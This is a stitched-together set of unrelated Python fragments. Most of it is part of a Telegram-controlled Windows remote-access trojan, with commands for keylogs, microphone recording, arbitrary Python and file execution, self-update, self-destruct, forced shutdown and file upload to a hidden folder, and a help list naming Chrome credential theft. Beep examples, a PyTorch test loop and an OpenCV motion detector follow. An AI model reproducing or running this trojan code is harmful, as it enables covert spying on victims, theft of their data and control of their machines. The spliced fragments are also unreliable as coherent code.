response += 'Website: ' + users[0] + '\n'
response += 'Username: '******'\n'
response += 'Password: '******'\n\n'
# """
# pass
#elif command.startswith('/hear'):
# SECONDS = -1
# try:
# SECONDS = int(command.replace('/hear','').strip())
# except:
# SECONDS = 5
#
# CHANNELS = 2
# CHUNK = 1024
# FORMAT = pyaudio.paInt16
# RATE = 44100
#
# audio = pyaudio.PyAudio()
# bot.sendChatAction(chat_id, 'typing')
# stream = audio.open(format=FORMAT, channels=CHANNELS,
# rate=RATE, input=True,
# frames_per_buffer=CHUNK)
# frames = []
# for i in range(0, int(RATE / CHUNK * SECONDS)):
# data = stream.read(CHUNK)
# frames.append(data)
# stream.stop_stream()
# stream.close()
# audio.terminate()
#
# wav_path = hide_folder + '\\mouthlogs.wav'
# waveFile = wave.open(wav_path, 'wb')
# waveFile.setnchannels(CHANNELS)
# waveFile.setsampwidth(audio.get_sample_size(FORMAT))
# waveFile.setframerate(RATE)
# waveFile.writeframes(b''.join(frames))
# waveFile.close()
# bot.sendChatAction(chat_id, 'upload_document')
# #bot.sendAudio(chat_id, audio=open(wav_path, 'rb'))
elif command == '/ip_info':
bot.sendChatAction(chat_id, 'find_location')
info = requests.get('http://ipinfo.io').text #json format
location = (loads(info)['loc']).split(',')
bot.sendLocation(chat_id, location[0], location[1])
import string
import re
response = 'External IP: '
response += "".join(
filter(lambda char: char in string.printable, info))
response = re.sub('[:,{}\t\"]', '', response)
response += '\n' + 'Internal IP: ' + '\n\t' + internalIP()
elif command == '/keylogs':
bot.sendChatAction(chat_id, 'upload_document')
bot.sendDocument(chat_id, open(log_file, "rb"))
elif command.startswith('/ls'):
bot.sendChatAction(chat_id, 'typing')
command = command.replace('/ls', '')
command = command.strip()
files = []
if len(command) > 0:
files = os.listdir(command)
else:
files = os.listdir(os.getcwd())
human_readable = ''
for file in files:
human_readable += file + '\n'
response = human_readable
elif command.startswith('/msg_box'):
message = command.replace('/msg_box', '')
if message == '':
response = '/msg_box yourText'
else:
ctypes.windll.user32.MessageBoxW(0, message,
u'Information', 0x40)
response = 'MsgBox displayed'
elif command.startswith('/mv'):
command = command.replace('/mv', '')
if len(command) > 0:
try:
file1 = command.split('"')[1]
file2 = command.split('"')[3]
move(file1, file2)
response = 'Files moved succesfully.'
except Exception as e:
response = 'Error: \n' + str(e)
else:
response = 'Usage: \n/mv "C:/Users/DonaldTrump/Desktop/p**n.jpg" "C:/Users/DonaldTrump/AppData/Roaming/Microsoft Windows/[pornography.jpg]"'
response += '\n\nDouble-Quotes are needed in both whitespace-containing and not containing path(s)'
elif command == '/pc_info':
bot.sendChatAction(chat_id, 'typing')
info = ''
for pc_info in platform.uname():
info += '\n' + pc_info
info += '\n' + 'Username: '******'/ping':
response = platform.uname()[1] + ': I\'m up'
elif command.startswith('/play'):
command = command.replace('/play', '')
command = command.strip()
if len(command) > 0:
systemCommand = 'start \"\" \"https://www.youtube.com/embed/'
systemCommand += command
systemCommand += '?autoplay=1&showinfo=0&controls=0\"'
if os.system(systemCommand) == 0:
response = 'YouTube video is now playing'
else:
response = 'Failed playing YouTube video'
else:
response = '/play <VIDEOID>\n/play A5ZqNOJbamU'
elif command == '/proxy':
threading.Thread(target=proxy.main).start()
info = requests.get('http://ipinfo.io').text #json format
ip = (loads(info)['ip'])
response = 'Proxy succesfully setup on ' + ip + ':8081'
elif command == '/pwd':
response = os.getcwd()
elif command.startswith('/python_exec'):
command = command.replace('/python_exec', '').strip()
if len(command) == 0:
response = 'Usage: /python_exec print(\'printing\')'
else:
from StringIO import StringIO
import sys
old_stderr = sys.stderr
old_stdout = sys.stdout
sys.stderr = mystderr = StringIO()
sys.stdout = mystdout = StringIO()
exec(command in globals())
if mystderr.getvalue() != None:
response += mystderr.getvalue()
if mystdout.getvalue() != None:
response += mystdout.getvalue()
sys.stderr = old_stderr
sys.stdout = old_stdout
if response == '':
response = 'Expression executed. No return or malformed expression.'
elif command == '/reboot':
bot.sendChatAction(chat_id, 'typing')
command = os.popen('shutdown /r /f /t 0')
response = 'Computer will be restarted NOW.'
elif command.startswith('/run'):
bot.sendChatAction(chat_id, 'typing')
path_file = command.replace('/run', '')
path_file = path_file[1:]
if path_file == '':
response = '/run_file C:/path/to/file'
else:
try:
os.startfile(path_file)
response = 'File ' + path_file + ' has been run'
except:
try:
os.startfile(hide_folder + '\\' + path_file)
response = 'File ' + path_file + ' has been run from hide_folder'
except:
response = 'File not found'
elif command.startswith('/schedule'):
command = command.replace('/schedule', '')
if command == '':
response = '/schedule 2017 12 24 23 59 /msg_box happy christmas'
else:
scheduleDateTimeStr = command[1:command.index('/') - 1]
scheduleDateTime = datetime.datetime.strptime(
scheduleDateTimeStr, '%Y %m %d %H %M')
scheduleMessage = command[command.index('/'):]
schedule[scheduleDateTime] = {
'text': scheduleMessage,
'chat': {
'id': chat_id
}
}
response = 'Schedule set: ' + scheduleMessage
runStackedSchedule(10)
elif command == '/self_destruct':
bot.sendChatAction(chat_id, 'typing')
global destroy
destroy = True
response = 'You sure? Type \'/destroy\' to proceed.'
elif command == '/shutdown':
bot.sendChatAction(chat_id, 'typing')
command = os.popen('shutdown /s /f /t 0')
response = 'Computer will be shutdown NOW.'
elif command == '/destroy' and destroy == True:
bot.sendChatAction(chat_id, 'typing')
if os.path.exists(hide_folder):
rmtree(hide_folder)
if os.path.isfile(target_shortcut):
os.remove(target_shortcut)
os._exit(0)
elif command == '/tasklist':
lines = os.popen('tasklist /FI \"STATUS ne NOT RESPONDING\"')
response2 = ''
for line in lines:
line.replace('\n\n', '\n')
if len(line) > 2000:
response2 += line
else:
response += line
response += '\n' + response2
elif command.startswith('/to'):
command = command.replace('/to', '')
import winsound
winsound.Beep(440, 300)
if command == '':
response = '/to <COMPUTER_1_NAME>, <COMPUTER_2_NAME> /msg_box Hello HOME-PC and WORK-PC'
else:
targets = command[:command.index('/')]
if platform.uname()[1] in targets:
command = command.replace(targets, '')
msg = {'text': command, 'chat': {'id': chat_id}}
handle(msg)
elif command == '/update':
proc_name = app_name + '.exe'
if not os.path.exists(hide_folder + '\\updated.exe'):
response = 'Send updated.exe first.'
else:
for proc in psutil.process_iter():
# check whether the process name matches
if proc.name() == proc_name:
proc.kill()
os.rename(hide_folder + '\\' + proc_name,
hide_folder + '\\' + proc_name + '.bak')
os.rename(hide_folder + '\\updated.exe',
hide_folder + '\\' + proc_name)
os.system(hide_folder + '\\' + proc_name)
sys.exit()
elif command.startswith('/wallpaper'):
command = command.replace('/wallpaper', '')
command = command.strip()
if len(command) == 0:
response = 'Usage: /wallpaper C:/Users/User/Desktop/p**n.jpg'
elif command.startswith('http'):
image = command.rsplit('/', 1)[1]
image = hide_folder + '/' + image
urllib.urlretrieve(command, image)
ctypes.windll.user32.SystemParametersInfoW(20, 0, image, 3)
else:
ctypes.windll.user32.SystemParametersInfoW(
20, 0, command.replace('/', '//'), 3)
response = 'Wallpaper succesfully set.'
elif command == '/help':
# functionalities dictionary: command:arguments
functionalities = { '/arp' : '', \
'/capture_pc' : '', \
'/cmd_exec' : '<command_chain>', \
'/cd':'<target_dir>', \
'/decode_all':'', \
'/delete':'<target_file>', \
'/dns':'', \
'/download':'<target_file>', \
'/encode_all':'', \
'/freeze_keyboard':'', \
'/freeze_mouse':'', \
'/get_chrome':'', \
'/hear':'[time in seconds, default=5s]', \
'/ip_info':'', \
'/keylogs':'', \
'/ls':'[target_folder]', \
'/msg_box':'<text>', \
'/pc_info':'', \
'/play':'<youtube_videoId>', \
'/proxy':'', \
'/pwd':'', \
'/python_exec':'<command_chain>', \
'/reboot':'', \
'/run':'<target_file>', \
'/self_destruct':'', \
'/shutdown':'', \
'/tasklist':'', \
'/to':'<target_computer>, [other_target_computer]',\
'/update':'',\
'/wallpaper':'<target_file>'}
response = "\n".join(command + ' ' + description
for command, description in sorted(
functionalities.items()))
else: # redirect to /help
msg = {'text': '/help', 'chat': {'id': chat_id}}
handle(msg)
else: # Upload a file to target
file_name = ''
file_id = None
if 'document' in msg:
file_name = msg['document']['file_name']
file_id = msg['document']['file_id']
elif 'photo' in msg:
file_time = int(time.time())
file_id = msg['photo'][1]['file_id']
file_name = file_id + '.jpg'
file_path = bot.getFile(file_id=file_id)['file_path']
link = 'https://api.telegram.org/file/bot' + str(
token) + '/' + file_path
file = (requests.get(link, stream=True)).raw
with open(hide_folder + '\\' + file_name, 'wb') as out_file:
copyfileobj(file, out_file)
response = 'File saved as ' + file_name
if response != '':
responses = split_string(4096, response)
for resp in responses:
send_safe_message(bot, chat_id, resp) #
def experiment_end():
print('Experiment ended!')
winsound.Beep(370, 500)
winsound.Beep(370, 500)
# Пример системного звука с помощью модуля winsound
print("\t\t\t\t Name v.0.0.2\n")
print("*" * 80)
name = input("Onamae wa? ")
import winsound # Лучше импортировать в начале файла
Freq = 1000
Dur = 1000
winsound.Beep(Freq,
Dur) # У winsound 2 параметра: частота (гц) и длительность (мс)
print("Anata wa mou shindeiru, ", name + "!")
def suaraBeep(self):
frequency = 2500
duration = 1000
for i in range(0, 5):
winsound.Beep(frequency, duration)
def beep(freq, duration):
winsound.Beep(freq, duration)
img, label = data
# Wrap in variable
with torch.no_grad():
img = Variable(img).cuda()
label = Variable(label).cuda()
out = model(img)
loss = criterion(out, label)
eval_loss += loss.item() * label.size(0)
_, pred = torch.max(out, 1)
num_correct = (pred == label).sum()
eval_acc += num_correct.item()
#8.Print loss & acc
print('Test Loss: {:.6f}, Acc: {:.6f}'.format(
eval_loss / (len(test_dataset)), eval_acc / (len(test_dataset))))
print()
import winsound #ring
winsound.Beep(32767, 2000)
'''
#打印一张示例图
print(train_dataset.train_dataset.size()) # (60000, 28)
print(train_dataset.train_labels.size()) # (60000)
plt.imshow(train_dataset.train_dataset[5].numpy(), cmap='gray')
plt.title('%i' % train_dataset.train_labels[5])
plt.show()
'''
def beepsound():
#스피커로 삡- 소리내기
freq = 1500
dur = 500
ws.Beep(freq, dur)
# play a file using winsound in the standard python library. import winsound filename = 'airplane.wav' winsound.PlaySound(filename, winsound.SND_FILENAME) winsound.Beep(1000, 1000)
ret, frame = cam.read()
ret, frame1 = cam.read()
if ret == True:
# gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)
diff = cv2.absdiff(frame, frame1)
gray = cv2.cvtColor(diff, cv2.COLOR_BGR2GRAY)
#their are diff type of blurr but here we are using gaussian Blur
blur = cv2.GaussianBlur(gray, (5, 5), 0)
_, thresh = cv2.threshold(blur, 20, 255, cv2.THRESH_BINARY)
dilated = cv2.dilate(thresh, None,
iterations=3) #how much itr you wanna dilated
contours, _ = cv2.findContours(dilated, cv2.RETR_TREE,
cv2.CHAIN_APPROX_SIMPLE)
#draw the contours
# cv2.drawContours(frame1, contours, -1, (0, 255, 0), 2)
for c in contours:
if cv2.contourArea(c) < 5000:
continue
x, y, w, h = cv2.boundingRect(c)
cv2.rectangle(frame1, (x, y), (x + w, y + h), (0, 255, 0), 2)
winsound.Beep(500, 200)
#winsound.PlaySound('alert SOUND WAV FILE', winsound.SND_ASYNC)
cv2.imshow("Absolute diffrence b/w both the frames", frame1)
if cv2.waitKey(10) == ord("q"):
break
cam.release()
cv2.destroyAllWindows()
